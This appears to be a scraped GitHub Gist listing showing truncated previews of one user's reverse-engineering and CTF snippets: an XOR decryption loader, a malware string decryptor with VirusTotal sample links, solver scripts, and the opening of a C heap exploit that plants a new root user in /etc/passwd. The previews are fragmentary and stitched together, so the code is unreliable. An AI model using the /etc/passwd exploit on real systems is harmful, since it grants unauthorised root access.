Skip to content

Instantly share code, notes, and snippets.

<#
using System;using System.IO;
using System.IO.Compression;
public static class WriteClass {
public static void write_to_file(Stream input, Stream output){
byte[] buffer = new byte[16 * 1024];
int bytesRead;
while((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0) {
<#
public static class decryption_class {
public static byte[] decrypt(byte[] income_bytes, byte[] gamma) {
byte[] output = new byte[income_bytes.Length];
for (int i = 0; i < income_bytes.Length; ++i) {
output[i] = (byte)(income_bytes[i] ^ gamma[i % gamma.Length]);
}
return output;
}
}
import pandas as pd
################
# Useful docs on how I2C driver communicates with LCD
# https://datasheet4u.com/datasheet-parts/LCD-1602A-datasheet.php?id=519148
# https://www.nxp.com/docs/en/data-sheet/PCF8574_PCF8574A.pdf
# https://controllerstech.com/i2c-lcd-in-stm32/
###
# CSV file was created from using program called Logic which reads data from a Logic Analyzer
# I exported the file after using the I2C decoder for the SDA & SCL pins on logicdata file provided
def decrypt_debug_strings():
e_array = [bytes.fromhex('a100ef00ed00bd00bb00be00f700bc00a100bc'), bytes.fromhex('8d00b800aa00b200b400be00ab00f700bc00a100bc'),
bytes.fromhex('b000bd00b800ef00ed00f700bc00a100bc0000'), bytes.fromhex('b300b800af00b800ae00f700bc00a100bc0000')]
n = 0
d_bytes = ''
for encrypted_string in range(len(e_array)):
for _ in range(len(e_array[encrypted_string]) - 10):
d_bytes += chr(e_array[encrypted_string][n] ^ 0xD9)
n += 2
########################
# PE image can be found at: https://www.virustotal.com/gui/file/8f87c2c3916bf71a3abbe9a371c8b6240548940754ac0e50e27a754ea9604bb5/detection
# VM Bin Dump can be found at: https://www.virustotal.com/gui/file/7ce18b7922cc1ecf46724bb04c877dd374c28b91887c01d8053a83aad1e2f11a/detection
########################
SRAM = bytearray(48) # where everything gets calculated and compared
WRAM = bytearray(48) # contains plaintext input from user
DRAM = bytearray(120) # contains encrypted text
# Store data in SRAM
import random
import struct
from ctypes import cdll
vcrt = cdll.LoadLibrary("msvcrt.dll")
hash_table = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x1, 0x67, 0x2B,
0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0,
0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26,
import serial
from z3 import *
def read_until(serial, until):
out = ''
while until not in out:
out += serial.read(1)
return out
import binascii
import pefile
import subprocess
import sys
import os
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
@ryancor
ryancor / gist:c9d8f8fbbacf78a4be6911294b697bae
Last active May 2, 2018 21:35
Heap Exploit for new root in /etc/passwd
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#define PASS "/etc/passwd"
#define PASSBK "/tmp/passwd.bkup"
#define TMP "/tmp/etc"